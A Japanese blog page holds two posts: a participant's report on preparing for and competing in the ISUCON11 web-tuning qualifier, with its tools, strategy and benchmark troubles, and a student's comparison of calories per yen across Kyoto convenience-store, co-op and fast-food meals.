ISUCON初参加に向けてやったこと(ISUCON11予選)

8/21に開催されたISUCON11の予選に参加してきました。チームは大学のサークルの同期2人 (rkoike・cojiro) と3人で出場しました。

結果は77704点で41位でした。残念ながら本選出場は叶いませんでしたが、それなりに練習の成果は出せたのかなと思い満足しています。何より開会のムービーや中継などもありお祭り気分で楽しんで参加させてもらうことができました。

さて、僕自身ISUCON初参加にあたって最初は何から始めていいかわからない状態で、そのことが参加へのハードルの一つになっていました。この記事では初参加に向けてどういう対策や準備をしたか、どういうツールを用意して臨んだかを共有し、より多くの人にISUCONに参加してもらう敷居を下げる手助けになればいいなと思います。

リンク

予選当日のレポジトリ

GitHub - isucon-kuolc38th/isucon11-qualify

デプロイ・ログ収集ツール

GitHub - isucon-kuolc38th/isucon11-qualify-util

TODOマニュアル

ISUCON11予選 - HackMD

事前練習

事前練習としてはひたすら予選の過去問を解いていました。過去問だけでも相当なボリュームがあるので、まずはこれらを解いて予選通過レベルのスコアを出せるようになること・関連エントリなどを読んで+αまでやり込むことを目標にしました。また、過去問を解きながら徐々に必要なツールやマニュアルを整えていきました。

6月頃から本格的に練習を始め、予選当日までには個人でISUCON3と4、チーム練で7〜10を解きました。

過去問は@matsuuさんが用意してくださっているAMIイメージを使いました。AWSのAMIでisucon*で検索すると出てきて、それを立ち上げるだけで動くので、始める前思っていたほど過去問の環境構築には苦労しませんでした。今回ISUCON初参加でしっかり練習を積むことができたのもひとえにこのおかげです。

github.com

6月

本格的に練習を始めたのは6月頭くらいからでした。ありがたいことに運営の方が座学とハンズオンを開催してくださり、最初の一歩の雰囲気を掴む上で非常にためになりました。

isucon.net

その後はいきなりチーム練をしてもグダグダになる可能性が高かったので、当面は個人練習をメインに情報収集・共有をしていこうということになりました。僕自身はハンズオンとISUCON3を解いて、初期セットアップのノウハウやチューニングの雰囲気を掴むことを目指しました。

この頃はとりあえず座学でお勧めされたALPやnetdataを使って手探りで自分たちのスタイルを模索しているような感じでした。

7月〜8月

7月頃から2週に1回くらいのペースでチーム練を始め、当日までに7〜10を解きました。基本的に本番と同様8時間みっちり使って臨みました。

次の練習までの2週の間に各自もう一度環境を再現して復習し、ツールとマニュアルを整備してまた次の練習に臨むというサイクルを繰り返していきました。

最初は用意していたツールの使い方もおぼつかず、メイン構成のNginx+Go+MySQLに載せ替えるだけで4時間使うといった有様でしたが、回を重ねスタイルが確立してくるにつれて徐々にスコアも出るようになってきました。結局どの回も時間内に予選ボーダースコアを出すことはできませんでしたが、あと一歩うまくハマればワンチャンというところまでは見えてきた感じです。

過去問に取り組むにあたって一番苦労したのはベンチの再現でした。CPUやメモリの設定はマニュアル等に記載されているのを見てできるだけ揃えるようにしましたが、AMIがあってもやはり本番と全く同じ環境を再現するのは難しく苦労しました。具体的には、

  • AMIを起動したそのままの状態でベンチを回してもFAILする(タイムアウトが原因で互換性チェックに落ちるなど)
  • Goに切り替えるとFAILする
  • スコアが上がった時にベンチ側と思われる原因のエラーが大量に出る
  • インスタンス間・グローバルの帯域接続がちゃんと設定されているかわからない

などがありました。対策としては、

  • 特に指定のない限りベンチは別インスタンスで立てる
  • ベンチのインスタンスはある程度強いものにしておいて良い
    • 多少点数が上振れするかもしれないが、基本的にはアプリ側がボトルネックになるので問題ないはず
    • 弱すぎるとFAILしたりメモリが足りなくてフリーズしたりする
  • 接続数が多くなってくる場合、ベンチのファイルディスクリプタ上限も上げる (ulimit -nなど)
  • 最悪の場合ベンチ側のコードを書き換えてタイムアウトを伸ばす
  • セキュリティグループ、ファイアウォールの設定を確認する
  • GOは最新版を入れてgo.modを使うようにする

などの処置を取ってなんとかしました。(帯域については最後までちゃんと制限されているのかわからなかった...)

また昔のコンテストだとsystemdがなくinit.dというのを使わないといけない、Goのバージョンが1.1とかでそもそもgo.modが使えないなどの落とし穴もあり、過去問をやる中でその辺の腕力も身についたと思います。

当日に向けての準備

ツール

ツールとして当日使用したものを書きます。

マニュアル

各種ミドルウェアの初期設定の手順、競技開始後・終了前の流れ、大まかなスケジュール間、よくあるエラーへの対処法など、練習時に躓いたことや学んだことを全てこのマニュアルに書き、練習を通じてブラッシュアップしていきました。練習の成果が全てここに詰まっているといっても過言ではありません。

ISUCON11予選 - HackMD

ALP

nginxのアクセスログを解析し、それぞれのエンドポイントへのリクエスト数やレスポンスタイムを集計してくれる定番ツールです。アプリの解析含め静的ファイルへのアクセスや、400/500のレスポンス、304が正しく返っているかなどリクエスト周りの傾向を把握するのに利用しました。

muttan1203.hatenablog.com

najeira/measure

こちらはGo向けのツールになりますが、導入してからは欠かせないツールになりました。

github.com

1行書くだけで関数ごと、セグメントごとの呼び出し回数・所要時間を計測することができます。ALPではエンドポイントごとのレスポンスタイムしか取得できないのに対し、こちらは関数ごとに集計してくれるので、ベンチマークの特定はもちろんアプリの全体の構造を把握するのにも非常に役立ちます。例えば同じ回数呼ばれている関数とエンドポイントがあれば、その関数はそのエンドポイントでしか使われていないことがわかるし、逆に多くのエンドポイントから利用されている重要な関数の特定にも便利です。

僕らの戦略の主軸はこのツールで、この出力を見てSUMの多い関数のタイムを見て削っていくのが基本的な流れでした。CSVで出力されるのでスプレッドシートにそのまま貼り付けて利用していました。

pprof

こちらもGo向けのツールで、CPUやメモリなどの占有状況を可視化することができます。こちらはメインではなくCPUやメモリの状況を確認したい際に補助的に使うという立ち位置でした。最初に一度は確認しておく予定でしたがすっかり忘れておりISUCON11で利用することはありませんでしたが...

こっそりCPUを占有しているケースの発見に便利なので、最初にパッと目を通すか目に見えるボトルネックは改良したけどなんか遅いって時に使うと良いと思います。

christina04.hatenablog.com

netdata

各種リソースのモニタリングをし、CPU or メモリ or ネットワークといったレベルでの大まかなボトルネックの把握に利用しました。多機能な割にコマンド一発でインストールできるのもいいところです。¥

dev.classmethod.jp

なお、本番はセキュリティグループとNginxのルーティングの設定がうまくいかずこちらも日の目を見ることはありませんでした。

pt-query-digest

MySQLのスロークエリを解析するツールです。ALPなどと同様に占有率の高いクエリのレスポンスタイムや、読み込み行数に対して実際に送信した行数なども集計してくれるので、こちらを参考にヒット率の低いもの、レスポンスタイムの長いものを中心にEXPLAINを使いながらインデックスを貼る・クエリを改善していくということをしていました。

thinkit.co.jp

util

ログの管理についても考えるところは多いと思います。僕たちの場合は、ベンチを実行した後スクリプトインスタンスssh接続し、各種ログをローカルに取って来れるようにしていました。また、

  • 案1:メインレポジトリと同じレポジトリで管理→ベンチを回すたびに大量のプルやマージが必要になる
  • 案2:別レポジトリで管理→ベンチを回した後にプッシュするのが面倒

という経緯を経て、最終的にutil専用のインスタンスを立ててRemote VSCodeで接続してログを共有するようにしました。(もはやレポジトリは不要ですが、一応gitで管理していました)

また、ブランチを指定してデプロイするスクリプト・ログを消すスクリプトも用意し、コマンド一つで簡単にベンチを回す前のセッティングができるようにしていました。これはrkoikeが一晩で用意してくれたものですがこれのおかげで開発の効率が大きく向上し、またヒューマンエラーを防ぐ上で欠かせないものでした。

GitHub - isucon-kuolc38th/isucon11-qualify-util

以上のツールを使い、utilのコマンドでブランチをデプロイ→ベンチを回し、ALP(アクセス系)・measure(アプリ)・pt-query-digest(SQL)の解析結果を出力して確認という流れがスムーズに行えるようにしました。

戦略

本番に向けて考えていたことはおおよそ以下の通りです。

  • 役割分担
    • rkoike: インフラ(構成の変更・初期セットアップ)、Nginxのチューニング、モニタリング
    • cojiro: SQLのチューニング、アプリ補助
    • 僕: アプリ全体の仕様把握、アプリ改善(主にキャッシュ)
  • 初期構成はNginx+Appで1台、DBで1台の2台構成
    • 過去問でもこの構成である程度対応できることがほとんどだったため
    • 3台目をどうするかはボトルネックの解析をある程度進めないとわからないことが多いため
  • 競技開始後の動き
    • できるだけ早くmeasureを入れて結果を取得し、アプリ仕様の把握に活用
    • rkoikeが初期構成をセットアップしている間に他の二人でアプリを手で動かしたりコードを読んだりして仕様把握を進める
    • 最初1時間半〜2時間程度は初期構成の載せ替えと仕様把握に使い、改善には着手しない
    • DBの載せ替えとログの出力が完了し、最初にある程度ボトルネックの候補を洗い出してから作業開始
  • インデックスはコスパが良いので積極的に活用
  • キャッシュは強力だがコストが高いので慎重に検討
    • 大量のレコードの集計結果など、計算にコストのかかる値
    • 直近の1件のみ保持していれば良い場合
    • 複数のエンドポイントで繰り返し使われるレコード
    • 逆に、検索や複数のレコードを返す処理はSQLの方が得意なことが多いので無理にキャッシュでやらない
  • Redisは使わずオンメモリで対応
    • 検討はしていたが、過去問でも結局使わずに何とかなってしまったため
    • 通信のオーバーヘッドや接続数への負担を考慮
    • その代わりAppを2台構成にするのは難しくなるが、DBを分ける、キャッシュを使わない一部のエンドポイントだけ分ける、静的ファイルへの接続が多い場合はNginxだけ分けるなど他の分割方法を検討する
  • 基本方針はSQL+オンメモリキャッシュ
    • サーバー起動時とinitializeでDBのデータを積み込み、更新や追加の都度DBの書き込みと並行してキャッシュも更新する
    • 無駄はあるものの、DBにデータを残すことでリスクを抑えつつキャッシュの良さを生かせる(うまくいかなければ戻せば良い)
  • 1時間前には手が空いた人が後片付けの準備をする
    • ベンチが空いている時に再起動試験
    • ログの無効化、不要なサービスの停止
    • 再起動後にデータが保持されているかの確認

当日

当日はレンタルスペースを借り、車でモニター等を積み込んで作業環境を整えました。 車ではるばる運んできたデスクトップPCがまさかのフリーズして予備のノートPCに切り替えるというアクシデントが発生し、冷や冷やしながら競技開始を迎えることになりました。

f:id:ey_nosukeru:20210828203530j:plain
競技会場の様子(手前のモニター3台はデスクトップPCが逝ったためこの後撤去される)

やったこと

競技開始

  • [x] isu_uuid, timestampにインデックスを貼る
  • [x] 最後のISUコンディションをキャッシュする
  • [x] generateIsuGraphResponseのtimestampをクエリで絞る
  • [x] getTrendのISUキャッシュ

3時間経過時点くらい

  • [x] postISUConditionのバルクインサート
  • [x] getJIAServiceURLキャッシュ
  • [x] postIsuの変なトランザクション消す
  • [x] unixソケット

7時間経過・延長以降

  • [x] ISUの存在判定をキャッシュでやる
  • [x] getUserIDFromSessionのSQL消す

未完了・着手しなかったこと

  • [?] http2対応・keepalive
  • [ ] 接続周りのカーネルの設定
  • [ ] 静的ファイルのNginxキャッシュ
  • [ ] 画像をファイルに移す
  • [ ] 完成したグラフをキャッシュする?
  • [ ] コンディションデータが文字列で入ってるのをなんとかする

作業開始前の作戦会議で洗い出した改善候補と、その完了状況の一覧です。競技開始後の諸々のセットアップは比較的順調に終わり、仕様把握に余裕を持って時間が取れたので十分に改善点を洗い出すことができました。

作戦会議時点

最初にマニュアルの読み込みをしましたが、まずその情報量の多さに面食らいました。これまでの過去問のマニュアルはほとんどが定型文で重要なのはスコア計算・減点や失格の方法と禁止事項くらいなことが多かったですが、今回は別途でアプリのドキュメントが用意されているなど情報の多さが特徴だったと思います。

その中でも完成したグラフ・当日前日のグラフなどの仕様がかなり複雑だったので、ここをキャッシュするなどして高速化するのがキーポイントになるのかなと思いました。 またマシンのスペックが比較的高いこと、現実の1秒=アプリ世界の30000秒という仕様、postISUConditionで9割のリクエストを弾くようになっているなど、大量のリクエスト数を捌ききることが求められそうな雰囲気があったので、接続周りの設定や静的ファイル(特に画像)のキャッシュにはあたりをつけていました。

他には典型的にキャッシュできそうな部分が多く、DBにボトルネックが来ることは少なそうだなー、画像系とAppで分けるかーなど構成についてもある程度考えていたと思います。

この時点では対処方法の検討もつかないようなボトルネックもなく、過去問で見たようなケースが多かったので完全に「進研ゼミでやったやつだ!」状態になっていました。 上げたボトルネックを順調に潰していけば予選通過も狙えるのではないかと思っていました。そう、この時までは。。。

3時間経過ぐらい

競技開始後の流れはスムーズで、作業開始してからもSQLの改善・キャッシュなど順調に進みスコアを着実に伸びていきました。この時点で40000点程度で、一時は6位を記録するなど思った以上の手応えでテンションもブチ上がっていました。

f:id:ey_nosukeru:20210828203431p:plain
全盛期(その後彼らの姿を見たものはいなかった...)

事件は突然起きました。getTrendでキャラクターごとにISUをグルーピングして状態を取得しているところが明らかに遅かったので、ISUごとキャッシュしてDBを使わないようにしました。実装を終えベンチを回したところ、検証フェーズもパスしてホッとしたのも束の間、以下のようなエラーが大量に出てベンチがFAILするようになりました。

ERR: load: http: Get "https://54.199.41.247/api/isu/43a2ea8f-3f1f-4fc4-90bc-942870e355c9/icon": http2: client connection force closed via ClientConn.Close

ERR: load: http: Get "https://54.199.41.247/api/isu": http2: server sent GOAWAY and closed the connection; LastStreamID=1999, ErrCode=NO_ERROR, debug=""

初めて見るエラーで戸惑いましたが、getTrendは明らかに早くなっており、またアプリも正常に動いていたので、最初に想定していた通りアプリが早くなって大量にリクエストが来たのが原因で接続を張れなくなっているのだろうと思い、そこまで焦ってはいませんでした。進研ゼミでやった通りに以下の対応を取りました。

しかしこれらを試しても状況は一向に改善されず、時間だけが過ぎていきました。 アイコンが帯域を食っているのかと考え、アイコンの304なども試しましたがベンチ側のヘッダーが設定されていないのかうまく304が返りませんでした。

getTrendを速くしたことで大量のユーザーが流れ込みサーバーの処理し切れない数のリクエストが飛んでくることが原因である可能性が高かったので、仕方なくgetTrendにsleepを入れるとFAILせずにスコアが出るようになりました。(60000点程度)

ここからpostISUConditionのdropProbability (リクエストの一部を無視する) の割合とgetTrendのsleep時間を調整し、FAILせずにリクエストを捌き切れるギリギリを目指すという闇のパラメータチューニングが始まります。

7時間経過・延長以降

ここでポータルサイトがダウンしベンチが回せなくなるという事件が発生します。闇のパラメータチューニングもできなくなってしまったので、仕方なく他のキャッシュできるところをキャッシュし尽くしたりしてベンチの復活を待っていました。

質問の欄を見て例のエラーがベンチ側のバグであることに気づいたのは確かこの頃で、ベンチを回す時間もほぼ残っていませんでした。

ベンチが再開され、全力キャッシュの変更を入れてみると意外にもスコアが80000点程度まで伸びたので、最後の足掻きでダメ押しのパラメータ調整をした後ログなども削除し、15分前には最後の再起動試験とアプリの動作確認を終え、競技終了となりました。

振り返って

「本番は練習でやったことしかできない」というのはまさにその通りで、序盤の流れやSQL・キャッシュについては練習で何回も手を動かした甲斐もあって順調に進めることができた一方で、初めての本番、TLS/http2環境での見たことないエラーに対応できなかったのが敗因となりました。あと一歩と言えばそうですが、これまでの過去問の結果も全てあと一歩という感じだったので、まあ実力通りの順当な結果ではあると思います。

今思えばエラーを見ればhttp2が原因のエラーであることは明らかなので、http2を切って試してみればよかったなあと思いますが、その時は「接続数が多い時にはhttp2を使う!」という思い込みに邪魔されてhttp2を切るというアイデアは浮かんできませんでした。こういうアドホックな対応の部分でやはり地力の差、経験の差が出たなと思います。

ただ、ISUCONは過去にもベンチのバグなどもちょいちょいあるにせよ「当日のベンチが最終的な採点基準」という前提があってこそのものだと思っていたので、事前予告なしにバグ修正版のベンチがスコア計算に使われることになったというのは、最終的な結果は変わらなかったにせよ、若干もやっとする結末になってしまったなあと思い残念です。

事前準備でできたらよかったこと

  • Redisをちゃんと使う練習をしておく
    • 使う必要に迫られたことがなかったにせよできることは多い方が良い
  • Nginxのチューニングにもう少し慣れておく・各設定項目の使い所を理解しておく
  • 過去問は常にポート全開のセキュリティガバガバ状態でやっていたので、もう少しちゃんとしている状態で練習しておくべきだった
  • セッション情報をトレースしてベンチのアクセス傾向を把握する仕組み

最後に

残念ながら本選に進むことはできませんでしたが、ボトルネックを見つけてスコアが上がっていくという競技性そのものにどハマりし、良質な過去問を含め問題を解くこと自体がとても楽しかったです。加えてWebサーバー・アプリの並列処理・SQLの知識・インフラなど幅広い知識が要求されるこの競技に取り組むことで、自然と知識が広がっていったのも自分にとって貴重な収穫でした。

後半は自分語りがメインになってしまいましたが、この記事がこれからISUCONを始めたいという人の役に少しでも立てば幸いです。

運営・作問者の皆さんをはじめ、改めてこの機会を提供してくださった方々にお礼を申し上げるとともに、この大会がこれからも存続してくれることを願っています。

また同じチームとして参加し、共に練習に多くの時間を割いてくれたチームメイトの二人にもお礼を言いたいです。

来年もぜひ出場したいと思います。対戦よろしくお願いします。

もっともコスパの高い食事戦略とは?

このブログは京大アドベントカレンダーの10日目の記事として書かれたものです。

はじめに

はじめまして、京大情報学科4回生のnosukeruと申します。普段はエンジニアでiOSアプリの開発業務をしたり機械学習のお勉強などしています。研究が辛いです。

突然ですが、僕はコスパの高いものが大好きです。例えば食事を例に出して言うならば、いい値段のする有名な店で食事をすることよりも、激安価格でそこそこの味・あり得ないボリュームの料理が出てくるようなお店を見つけた時の方がテンションが上がってしまいます。宿泊先を探すときにも積極的にドミトリーやカプセルホテルを検討し、安価で快適な宿泊を提供してくれるホテルに出会えた時にこそ生の喜びを実感するような人間です。コスパに対する嗅覚は人一倍な自信があるので、今回は食事をテーマに身の回りのコスパについて調べてみました。

イントロダクション

学業やサークルにアルバイトなど、やることの尽きない大学生の頭を悩ませる問題、その一つに日々の食事があります。ご飯を食べなければ人は生きていけませんが、何もしなくてもご飯が出てきた実家暮らしの頃とは違って一人暮らしの大学生はそれを自分で用意しなければいけません。自炊をすればお金をかけずに満足のいく量の食事ができますが、材料の買い出し、調理と片付け、冷蔵庫の管理など手間面のコストが多くかかります。一方でコンビニ・スーパーで惣菜を買う・外食をすることで手間のコストをほぼ0にすることができますが、その分金銭的な負担は大きくなります。いかに食費を抑えつつ満足の行く食事を用意するか、お金のない大学生にとってこれは文字通り死活問題です。

一般的な成人男性が一日に必要とする摂取カロリーは2000〜2400kcal、女性は1400〜2000kcalと言われています*1。そこで今回は、特に自炊をする暇のない忙しい京大生を対象に、

「金銭・手間のコストをできるだけ抑えて、(栄養面・健康面にも申し訳程度に配慮しつつ)外食で一日に2000kcalを摂取するにはどのような戦略が最適か?」

について真面目に検討します。

調査 ー 惣菜編

コンビニのお惣菜

まずはコンビニに売っているお惣菜をベースラインとして調べてみます。これについてはローソンの商品・お得情報に値段とカロリーが載っているので参考になります。

おにぎり

おにぎり|ローソン公式サイトを参考に、代表的なものを以下の表にまとめました。

名称 カロリー(kcal) 値段(円) コスパ(kcal/円)
手巻おにぎり 日高昆布 176 120 1.47
手巻おにぎり 焼鮭ほぐし 185 150 1.23
手巻おにぎり 紀州南高梅 176 125 1.41
手巻おにぎり おかか 177 116 1.53
手巻おにぎり シーチキンマヨネーズ 235 120 1.96
手巻おにぎり 熟成辛子明太子 186 150 1.24
鶏五目おにぎり 187 130 1.44
和風シーチキンマヨネーズおにぎり 249 116 2.15
金しゃりおにぎり 焼さけハラミ 224 198 1.13
悪魔のおにぎり 222 110 2.02
金しゃりおにぎり 塩にぎり 198 100 1.98

ご覧の通り「和風シーチキンマヨネーズおにぎり」がカロリー/値段比(以下カロリー比)2.15をマークし最高値となっていますが、ツナマヨの油の量を考えるとカロリーが高くなるのは当たり前であると言えます。ただ普通のツナマヨの方が量が多く見えるのに和風ツナマヨの方がカロリーが高いというのは意外な結果です。

金しゃり(高級感のあるおにぎりシリーズ)はカロリー自体は高いもののやはりその高級感のある値段設定からコスパ面ではやや劣ります。ただしお米onlyの塩にぎりはツナマヨに匹敵するカロリー比を誇っています。悪魔のおにぎりは天かす補正でしょうか。

またこの結果から、おにぎりをコンビニで買って食べた場合のカロリー比の上界は2程度であることがわかります。この記事ではこの値を目安とし、1日2000kcalを摂取するための予算として2000/2=1000円を目標にしたいと思います。

サンドイッチ

こちらも朝食や軽い軽食として利用する人が多いのではないでしょうか。サンドイッチ・ロールパン|ローソン公式サイトを参考に以下の表にまとめました。

名称 カロリー(kcal) 値段(円) コスパ(kcal/円)
全粒粉入 バジルチキンサンド 273 368 0.74
全粒粉入 野菜ミックスサンド 213 248 0.86
シャキシャキレタスサンド 204 248 0.82
ミックスサンド 332 248 1.34
ジューシーハムサンド 211 248 0.85
たまごサンド 327 228 1.32
ツナ&たまごサンド 331 228 1.45
焼チキンたまごサンド 307 298 1.03

よく言えばヘルシー、悪く言えば低コスパで、おにぎり軍に比べ厳しい結果となりました。ここでもツナマヨパワーが遺憾無く発揮されています。

しかし明らかにヘビーそうな「照り焼きチキンたまごサンド」ですらカロリー比1程度という意外な結果です。やはりターゲットを若い女性に絞って、あえてカロリーを低く抑えているとも考えられます。

とはいえ、野菜が不足しがちな大学生にとってサンドイッチはお腹をある程度満たしつつ野菜を摂取できる魅力的な選択肢です。野菜をある程度摂取しつつカロリー比を最大化したい我々としては、トマトも含む野菜ミックス等で野菜を補いつつ、サンドイッチ以外の選択肢でカロリーを稼いで行きたいところです。

お弁当・パスタ

上と同様お弁当|ローソン公式サイトを参考にしています。

名称 カロリー(kcal) 値段(円) コスパ(kcal/円)
和風幕の内弁当 460 498 0.92
彩りおかず弁当 503 550 0.91
白身フライのり弁当 729 420 1.74
おろし竜田弁当 736 
498 1.48
チキン南蛮&鶏そぼろ弁当 765 
530 1.44
三色鶏そぼろ弁当 402 298 1.35
豚生姜焼弁当 757 498 1.52
ロースとんかつ弁当 810 598 1.35
香ばし炒めの焼豚炒飯 659 399 1.65
名称 カロリー(kcal) 値段(円) コスパ(kcal/円)
たらこのパスタ 505 430 1.17
完熟トマトのミートソース 529 399 1.33
大盛!やみつきペペロンチーノ 817 498 1.64
大盛!トマトの旨味ギュッ ナポリタン 752 498 1.51
もちプリッ!フェットチーネ 濃厚カルボナーラ 608 480 1.27

やはり油を多く含む揚げ物族、米のみで構成されるチャーハンの戦闘力は比較的高いことがわかります。しかしおにぎり族の上界である2という数値には届かないことが見て取れます(お米の割合が低いので当たり前)。

パスタについては大盛り系は健闘しているものの、その大部分が炭水化物である割にエネルギー効率は高くありません。カロリー最適化の上では避けた方が無難でしょう。

サラダ・パン(ファミマ)

こちらについてはなぜかローソンのHPに記載がなかったので、実際にコンビニに(都合によりファミマに)行き調査を行いました。商品一覧はサラダ一覧パン一覧のページから見れます。

名称 カロリー(kcal) 値段(円) コスパ(kcal/円)
フレッシュ野菜サラダ 34 163 0.21
まぜて食べる!パリパリ麺サラダ 319 368 0.87
シーチキン&コーンサラダ 79 210 0.37
蒸し鶏のサラダ 68 198 0.34
カルボナーラ風パスタサラダ 328 354 0.93
ローストチキンのパスタサラダ 276 298 0.93

もちろんサラダはカロリーでその良し悪し比較できるものではないのですが、カロリー比という観点では低い値であり、お金のない大学生が野菜不足に陥りがちなのも頷けます。個人的には野菜を摂取しつつそこそこのカロリーが取れるパスタ系のサラダが気持ち的にお得なように見えます。

パンについては、参考にコスパに加え脂質も記載しています。

名称 カロリー(kcal) 脂質(g) 値段(円) コスパ(kcal/円)
カレーパン 322 7.9 128 2.52
コッペパン焼きそば 266 7.2 138 1.93
もちっと博多明太マヨネーズ 279 13.2 128 2.18
毎日食べて満足!大きいウインナー 380 22.0 128 2.97
スイートデニッシュ 460 25.0 108 4.26
イチゴサンドケーキ 479 120.2 138 3.47
たっぷり!ホイップメロンパン 459 19.4 138 3.33
なめらかチョコクリームパン(5個入り) 395 13 100 3.95
ほんのり甘いミルキーミニクロワッサン(5個入り) 510 25.5 108 4.72
焦がしバターのクロワッサン(2個入り) 380 16.9 108 3.52
チョコチップスナック(6本入り) 534 18.6 108 4.94
チョコチップメロンスティック(5本入り) 465 19.0 110 4.23
ツイストドーナツ(3本入り) 567 33.0 108 5.25
バター香るもっちりとした食パン(6枚入り) 960 15.6 149 6.44
ランチパック ピーナッツ(2個入り) 360 15.6 140 2.57

菓子パンはお米・パスタに比べて圧倒的にカロリーが高いのが特徴です。これはパンの生地に練りこまれているバターや、トッピングの生クリーム・チョコ・ジャムなどが原因になっていると考えられます*2。カロリーを最大化する上では頼もしい味方ですが、それに起因して糖質や脂質も高めになっているので、乱用は禁物です。1日1食程度が目安だと考えられます。またご飯に比べ腹持ちが悪いのがネックになります。

全体的な傾向としては単品よりも1つの商品で複数個入っているものの方がカロリー比が高いことが読み取れます(数の暴力)。クリームパン・チョコチップスティックなどはそのお得感から頻繁に利用する人も多いのではないでしょうか。そして食パンの戦闘力はさすが。。。

京大生協

コンビニでのベースライン調査が終わったところで、次は京大の吉田南生協ショップでの品揃えを調べてみます(日によって品揃えのばらつきあり)。

成分表が記載されていたのでタンパク質・脂質についても載せています。

名称 カロリー(kcal) タンパク質(g) 脂質(g) 値段(円) コスパ(kcal/円)
彩り野菜の白身魚ヘルシー弁当 485 13.8 17.2 400 1.21
鶏そぼろ玉子丼 586 18.0 11.0 360 1.63
味噌カツ丼 744 20.4 21.0 360 2.07
ハンバーグ&鶏肉ダッカルビ風野菜炒め弁当 769 25.9 23.7 390 1.97
カジキメンチカツ弁当 873 24.8 29.6 430 2.03
チキン南蛮弁当 1024 --- --- 399 2.57
おにぎりセット(鮭・かつお) 439 12.0 12.4 213 2.06
鮭とろおにぎり 199 4.7 2.2 108 1.84
坦々麺の追い飯風おにぎり 220 5.4 2.6 134 1.64
大きな天むすおにぎり 290 7.7 2.3 150 1.93
南蛮サンド 566 16.4 26.8 300 1.87
サーモンタルタルとバジルポテトサンド 347 10.0 16.0 300 1.16
オールドファッション 285 2.8 17.1 118 2.42
ケーキドーナツ(4個入り) 834 7.4 46.0 162 5.15
大きなチョコチップメロンパン 454 9.7 15.8 118 3.85
ホワイトデニッシュショコラ 426 7.0 27.8 129 3.30
ラップサラダ 牛焼肉 294 7.4 11.2 321 0.92
ラップサラダ サーモン 367 8.7 19.5 321 1.14
岩塩とオリーブオイルで食べるサラダ 38 2.7 1.2 198 0.19

カロリー比が総じて1.2~1.7程度であったコンビニのお弁当に比べ、生協のお弁当はかなりカロリーも高め・値段も低めに設定されており、優秀であることが見て取れます。おにぎり群も基本的にコスパがよく、特に鮭とろおにぎりはその人気を裏づける結果となっています。京大生なら利用しない手はありません。

サラダ・パン類についてはコンビニのものと大差はありませんが、ハイコスパ菓子パンの代名詞である「ケーキドーナツ(4個入り)」が品揃えに入っているところがポイント高いです。

調査 ー ファストフード・外食編

マクドナルド

次はファストフード界を代表しマクドナルドのカロリー比を調べてみます。これについてもマクドナルド公式サイトから確認することができます。参考にタンパク質・脂質含有量も載せておきます。

名称 カロリー(kcal) タンパク質(g) 脂質(g) 値段(円) コスパ(kcal/円)
ハンバーガ 256 12.8 9.4 110 2.33
チーズバーガー 307 15.8 13.4 140 2.19
ダブルチーズバーガー 457 26.5 25.0 340 1.34
チキンクリスプ 345 14.0 15.5 110 3.14
グラコロ 410 9.7 21.6 340 1.21
ビッグマック 525 26.0 28.3 390 1.35
てりやきマックバーガー 478 15.5 30.2 340 1.41
チキンフィレオ 465 20.0 21.9 360 1.29
えびフィレオ 395 12.5 17.4 390 1.01
エッグマックマフィン 311 19.2 13.5 200 1.56
ソーセージマフィン 395 15.0 25.1 110 3.59
チキンクリスプマフィン 364 15.2 17.3 140 2.6
チキンマックナゲット5ピース 270 15.8 17.2 200 1.35
シャカチキ 243 14.8 12.8 150 1.62
ポテトL 517 6.7 25.9 320 1.62

マクドナルドのメニューについては、商品単価が高くなるほどカロリー比が下がるという明らかな傾向が見られました。また全体的に昼マックより朝マックの方がコスパが良いという傾向も見られます。特に筆者がマックに行く際には必ず頼むチキンクリスプソーセージマフィンは3を超える驚異的なカロリー比を見せています。しかし含まれる脂質の量やその不健康なイメージの割には全体的にカロリーが割に合っていないような印象を受けます。諸々のバランスを考えると結局素のハンバーガーが最強感ありますね。

ちなみに、ポテトS・M・Lの中ではLが微妙にカロリー比が高く、量が多いらしいです。

すき家

筆者は日常的にすき家を愛用しており、毎月すきパス*3 を買うほどのヘビーユーザーなのですが、そのカロリー効率は果たして良いのでしょうか。すき家のホームページを元に検証します。

名称 カロリー(kcal) タンパク質(g) 脂質(g) 値段(円) コスパ(kcal/円)
牛丼(並) 733 23.6 25.2 350 2.12
牛丼(大) 966 31.1 32.6 480 2.01
ねぎ玉牛丼(並) 853 31.4 31.6 480 1.78
おろしポン酢牛丼(並) 764 24.8 25.3 480 1.59
牛丼(並)すきパス利用時 733 23.6 25.2 280 2.62
牛皿(並) 317 16.0 23.6 260 1.22
まぜのっけご飯定食(大) 808 25.8 17.5 380 2.13
鮭朝食(大) 923 33.3 25.6 420 2.20
たまかけ朝食(大) 773 20.1 15.1 280 2.76

脂ブースト補正はあるものの、トッピング時を除き軒並みおにぎりボーダーを超えているのは注目に値します。またすきパスブーストにより更なる高みを目指すこともできます。

さらに注目すべきは朝食(11時まで販売)のコスパの良さです。味噌汁や卵がついてくる健康的な食事でありながらカロリー比2以上を維持しているのは驚きです。ただし、朝食の最大にして唯一の弱点はすきパスが適用されないことです。南無三。

すきパス登場以前は牛皿をテイクアウトして家で炊いたご飯で食べると言うムーブを提唱していたのですが、牛皿に好きパスが適用されないため牛丼の代わりに牛皿をテイクアウトするメリットがなくなってしまいました。ただし依然としてテイクアウトして自宅で米を追加する・トッピングを追加するという作戦は有効だと思います。

値段的なコスパ以外にも、注文してから出てくるまでの時間が異様に短いため時間的なコスパも魅力の一つです(もちろん他の牛丼チェーンもですが)。ちなみに僕は百万遍すき家で注文して食べ終わるまでの15分という短時間の間に自転車を撤去されてしまったことがあるので皆さんもご注意を。

京大付近のコスパの良い店について

残念ながらカロリーの計算が難しいため定量的な評価をすることができませんが、京大の周り、特に百万遍付近は学生街ということもあり量のコスパの良い飲食店は多い印象があります。例を挙げると、

  • 700円でラーメン+ご飯おかわりし放題の芥川
  • 同じくご飯お替わり無料のハンバーグ店James Kitchen(通称JK)
  • 大盛・特盛の量が半端ないまぜそばのキラメキ
  • ご飯中盛(並盛と同じ値段)で器に山盛りのご飯が出てくる定食屋松之助
  • デフォルトの量が多い定食屋ハイライト、丸二食堂、キャラバン
  • 700円で異常な量の油淋鶏や麻婆豆腐が出てくる中華料理店味香園

しかしコスパが高いとは言えど外食ではやはり初期投資(600/700円〜)がネックで、一日の食費を1000円に抑えようと思うと頻繁な利用は難しいでしょう。

大学の食堂

大学の食堂も生協同様値段は低めに設定されているので、高コスパが期待されます。

名称 カロリー(kcal) タンパク質(g) 脂質(g) 値段(円) コスパ(kcal/円)
鶏唐ホワイトカレーソース 399 23.3 22.7 308 1.30
